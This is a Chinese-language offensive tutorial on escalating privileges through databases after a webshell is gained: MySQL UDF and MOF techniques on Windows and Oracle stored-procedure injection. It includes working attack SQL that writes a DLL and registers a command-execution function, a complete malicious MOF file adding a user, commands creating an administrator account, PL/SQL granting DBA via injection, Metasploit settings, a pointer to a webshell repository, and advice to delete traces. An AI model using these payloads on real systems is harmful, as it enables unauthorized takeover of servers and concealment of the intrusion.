如果我们不能直接在操作系统中提权的话,可以利用数据库提权。
mysql提权
这里的mysql提权是对于windows而言的。
UDF提权
基础概念:
UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。
动态链接库:是把程序代码中会使用的函数编译成机器码,不过是保存在.dll文件中。另外在编译时,不会把函数的机器码复制一份到可执行文件中。编译器只会在.exe的执行文件里,说明所要调用的函数放在哪一个*.dll文件。程序执行使用到这些函数时,操作系统会把dll文件中的函数拿出来给执行文件使用。
漏洞概述:
udf是Mysql类提权的方式之一。前提是已知mysql中root的账号密码,我们在拿到webshell后,可以看网站根目录下的config.php里,一般都有mysql的账号密码。利用root权限,创建带有调用cmd函数的udf.dll
(动态链接库)。当我们把udf.dll
导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON
调用dll中的函数后,mysql账号转化为system权限,从而来提权。
udf使用:
在udf中,我定义了名为sys_eval的mysql函数,可以执行系统任意命令。如果我现在就打开mysql命令行,使用select sys_eval('dir')
;的话,系统会返回sys_eval()函数未定义。因为我们仅仅是把‘udf.dll’放到了某个文件夹里,并没有引入。
样例:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
只有两个变量,一个是function_name(函数名),我们想引入的函数是sys_eval。还有一个变量是shared_library_name(共享包名称)
,即‘udf.dll’。至此我们已经引入了sys_eval函数,下面就是使用了。这个函数用于执行系统命令,用法如下:
select sys_eval('cmd command');
漏洞利用
利用udf提权有一些利用的先决条件:
MySQL 数据库没有开启安全模式。
已知的数据库账号具有对 MySQL 数据库 insert 和 delete 的权限,最好是 root 最高权限。
shell 有写入到数据库安装目录的权限。
手法:
上传大马webshell,利用大马中的UDF提权功能完成提权。
反弹shell,进而获取交互式tty shell,在shell中连接本地数据库,从而完成UDF提权。
使用Navicat等数据库管理工具连接远程数据库,从而完成UDF提权。
https://github.com/tennc/webshell这个仓库里很多webshell的木马,有数据库的提权马。
对于windows而言:
- 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
- 如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录
利用步骤
- 拿到一个网站的webshell之后,在指定位置创建udf文件。但要先获取UDF的源文件。
UDF源文件位置
sqlmap中:sqlmap\data\udf\mysql
metaspliot中:/usr/share/metasploit-framework/data/exploits/mysql
将获得的udf.dll文件转换成16进制,可以使用本地的mysql函数
SELECT hex(load_file(0x433a5c5c55736572735c5c6b61316e34745c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c)) into dumpfile 'C:\\Users\\ka1n4t\\Desktop\\1.txt'; --load_file中的十六进制是lib_mysqludf_sys.dll所在绝对路径--
此时
1.txt
文件的内容就是udf文件的16进制形式。接下来就是把本地的udf16进制形式通过我们已经获得的webshell传到目标主机上并新建一个表,用于存放本地传来的udf文件
使用ntfs数据流创建
导入udf文件
删除创建的表,清理痕迹。
我们再用sys_eval命令就可以了。
SELECT sys_eval('ipconfig')
添加一个管理员用户:
Copynet user user1 123456 /add net localgroup administrators user1 /add
mof提权
利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。
MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。
MOF提权的条件要求十分严苛:
1.windows 03及以下版本
2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
3.secure-file-priv参数不为null。
公开的nullevt.mof利用代码
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
将nullevt.mof
导入到一下可写目录,一般为tmp目录下。
使用sql语句将文件导入到c:/windows/system32/wbem/mof/
下
select load_file("C:/phpStudy/WWW/nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
Oracle提权
注入存储过程提权
SYS创建的存储过程存在sql注入。拥有create procedure
权限的用户通过创建提权函数,将提权函数注入到存储过程中,于是该存储过程将调用这个提权函数来执行grant dba to quan
命令,获得Oracle数据库dba权限。
利用条件
- SYS创建的存储过程
存在sql注入
(EG:CVE-2005-4832) - 用户拥有
create procedure
权限(用来创建函数)
手工注入
给user提权到dba权限。
- 用户登陆后执行
select * from session_privs
查看权限 - 创建函数,命令为
grant dba to quan
grant execute on pwn to public;//赋予所有用户此函数的执行权限。
SQL>create or replace function pwn return vaarchar2
authid current_user is pragma autonomous_transaction;
begin
execute immediate 'grant dba to user';
return '';
end;
/
SQL>grant execute on pwn to public;
/
注入sys.dbms_cdc_subscribe.activate_subscription。
SQL>begin
sys.dbms_cdc_subscribe.activate_subscription('''||user.pwn()||''');
end;
/
SQL>set role dba;
利用MSF注入
加载攻击模块
use auxiliary/sqli/oracle/dbms_cdc_subscribe.activate_subscription
2.配置参数
set dbuser quan
set dbpass quan123
set sid orcl
set rhost xxxxx
set sql grant dba to quan
3.run
通过utl_http.request存储过程提权
Oracle9i~11gR2中dbms_xmlquery.newcontext()
和dbms_xmlquery.getxml()
函数可以执行任意PL/SQL语句,利用这两个函数可以获得Oracle服务器的操作系统权限。
利用条件
1、UTL_HTTP存储过程可用
2、Oracle9i~11gR2
提权步骤
(1)创建Java包
(2)创建存储过程MYJAVACMD
(3)执行存储过程,成功添加用户